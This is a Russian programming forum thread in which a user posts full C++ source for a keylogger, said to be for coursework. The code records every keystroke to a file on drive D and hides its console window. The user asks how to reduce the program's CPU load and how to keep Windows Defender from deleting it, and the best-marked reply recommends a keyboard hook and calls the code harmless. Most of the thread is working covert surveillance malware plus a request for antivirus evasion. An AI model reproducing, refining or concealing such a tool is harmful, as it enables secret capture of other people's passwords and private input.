Форум программистов, компьютерный форум, киберфорум
С++ для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.82/11: Рейтинг темы: голосов - 11, средняя оценка - 4.82
0 / 0 / 0
Регистрация: 10.02.2020
Сообщений: 117

Уменьшение нагрузки на процессор

01.03.2020, 11:39. Показов 2192. Ответов 2
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Написал простой keylogger для курсовой, но нагрузка на цп слишком большой(15-20%).
1)Как можно уменьшить нагрузку
2)Как можно оптимизировать код
3)Когда делаю Release создается папка но exe удаляется защитником windows(и не дает запускать), что сделать чтобы он не удалял его

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <fstream>
#include "keyLoggerCode.h"
 
int main()
{ 
    fon_work();
    mainKeyLog();
 
    return 0;
}
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#pragma once
 
// кейлогер
void mainKeyLog()
{
    char key;
 
    for (;;)
    {
        for (key = 8; key <= 222; ++key)
        {
            if (GetAsyncKeyState(key) == -32767)
            {
                std::ofstream write("D:\\keylog.txt", std::ios::app);
                
                // прописные буквы
                if ( ( (key > 64) && (key < 91) ) && !(GetAsyncKeyState(0x10)) )
                {
                    key += 32;
                    write << key;
                    write.close();
                    break;
                }
                
                // заглавнеы буквы
                else if ( (key > 64) && (key < 91) )
                {
                    write << key;
                    write.close();
                    break;
                }
                
                // спец символы 
                else
                {
                    // если shift не нажат
                    if (!GetAsyncKeyState(0x10)) 
                    {
                        switch (key)
                        {
                            case 48:
                            {
                                write << "0";
                            } break;
                            case  49:
                            {
                                write << "1";
                            } break;
                            case 50:
                            {
                                write << "2";
                            } break;
                            case 51:
                            {
                                write << "3";
                            } break;
                            case 52:
                            {
                                write << "4";
                            } break;
                            case 53:
                            {
                                write << "5";
                            } break;
                            case 54:
                            {
                                write << "6";
                            } break;
                            case 55:
                            {
                                write << "7";
                            } break;
                            case 56:
                            {
                                write << "8";
                            } break;
                            case 57:
                            {
                                write << "9";
                            } break;
                            case VK_SPACE:
                                write << " ";
                                break;
                            case VK_RETURN:
                                write << "\n";
                                break;
                            case VK_TAB:
                                write << "  ";
                                break;
                            case VK_BACK:
                                write << " <BackSpace> ";
                                break;
                            case VK_ESCAPE:
                                write << "<Esc>";
                                break;
                            case VK_DELETE:
                                write << "<Del>";
                                break;
                        }
                    }
                    // shift нажат
                    else if ( GetAsyncKeyState(0x10) ) 
                    {
                        switch (key)
                        {
                            case 48:
                            {
                                write << ")";
                            } break;
                            case  49:
                            {
                                write << "!";
                            } break;
                            case 50:
                            {
                                write << "@";
                            } break;
                            case 51:
                            {
                                write << "#";
                            } break;
                            case 52:
                            {
                                write << "$";
                            } break;
                            case 53:
                            {
                                write << "%";
                            } break;
                            case 54:
                            {
                                write << "^";
                            } break;
                            case 55:
                            {
                                write << "&";
                            } break;
                            case 56:
                            {
                                write << "*";
                            } break;
                            case 57:
                            {
                                write << "(";
                            } break;
                        }
                    }
                }
            }
        }
    }
}
 
// работа в фоне
void fon_work()
{
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
}
0
Лучшие ответы (1)
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
01.03.2020, 11:39
Ответы с готовыми решениями:

Работа с консолью. Уменьшение нагрузки на ЦП
Значит имеется следующий код: #include &lt;conio.h&gt; #include &lt;iostream&gt; int main() { bool bExit = false; while (!bExit) { ...

Удаление переменной, уменьшение нагрузки процессора
Доброго времени суток. У меня есть цикл который находится в таймере (openGl), в этом цикле при каждой итерации создается спрайт и сразу...

Вывод сообщения каждые 2 мин без нагрузки на процессор?
Задача такова, нужно создать приложения (консольное) которое будет выводить текст каждые 2 минуты. Я это реши таким способом - бесконечный...

2
0 / 0 / 0
Регистрация: 10.02.2020
Сообщений: 117
01.03.2020, 20:35  [ТС]
up!

Добавлено через 2 часа 11 минут
up!

Добавлено через 27 минут
up!
0
Эксперт С++
 Аватар для _lunar_
3701 / 2836 / 451
Регистрация: 03.05.2011
Сообщений: 5,193
Записей в блоге: 21
01.03.2020, 21:59
Лучший ответ Сообщение было отмечено poihgvc как решение

Решение

Цитата Сообщение от poihgvc Посмотреть сообщение
Как можно уменьшить нагрузку
избавиться от бесконечного цикла.
проще всего поставить хук на клавиатуру и активировать логер в момент нажатия.

Цитата Сообщение от poihgvc Посмотреть сообщение
Когда делаю Release создается папка но exe удаляется защитником windows(и не дает запускать), что сделать чтобы он не удалял его
в представленном коде нет ничего вредоносного (обычный api).
то ли у вас что-то с самим defender'ом, то ли вы предоставили не весь код.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
01.03.2020, 21:59
Помогаю со студенческими работами здесь

Уменьшение нагрузки и износа HDD
Приветствую всех. Купил ноут б/у с hdd, и задумался вот над каким вопросом: если перенести на флешку по максимуму программы,...

Работа скрипта - уменьшение нагрузки на сервер
ситуация: есть скрипт который проверяет список ссылок, посылает запрос, получает код ответа, ссылок ~1000, используется класс http_request....

Уменьшение нагрузки на сервер, путем хеширования изображений в базу данных
Добрый вечер. У меня есть проект (в разработке), он основан на одном едином сервисе (ASP.NET MVC API), и он имеет одну лишь HTML страницу,...

Нет нагрузки на процессор
Как вы поняли из заголовка проблема с нагрузкой на проц и в диспетчере задач ее абсолютно нет на некоторых приложениях. Из-за этого не...

Падение нагрузки на процессор и видеокарту
Описание моего ПК: Процессор:AMD Phenom 2 x4 955 3.2 Ghz ОЗУ: 2 планки по 2 + 9ГБ с жесткого диска Материнка:ASUS...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
3
Ответ Создать тему
Новые блоги и статьи
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
SDL3 для Web (WebAssembly): Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 12.02.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами и вызывать обработчики событий столкновения. . . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 11.02.2026
Содержание блога Библиотека SDL3 содержит встроенные инструменты для базовой работы с изображениями - без использования библиотеки SDL3_image. Пошагово создадим проект для загрузки изображения. . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL3_image
8Observer8 10.02.2026
Содержание блога Библиотека SDL3_image содержит инструменты для расширенной работы с изображениями. Пошагово создадим проект для загрузки изображения формата PNG с альфа-каналом (с прозрачным. . .
Установка Qt-версии Lazarus IDE в Debian Trixie Xfce
volvo 10.02.2026
В общем, достали меня глюки IDE Лазаруса, собранной с использованием набора виджетов Gtk2 (конкретно: если набирать текст в редакторе и вызвать подсказку через Ctrl+Space, то после закрытия окошка. . .
SDL3 для Web (WebAssembly): Работа со звуком через SDL3_mixer
8Observer8 08.02.2026
Содержание блога Пошагово создадим проект для загрузки звукового файла и воспроизведения звука с помощью библиотеки SDL3_mixer. Звук будет воспроизводиться по клику мышки по холсту на Desktop и по. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru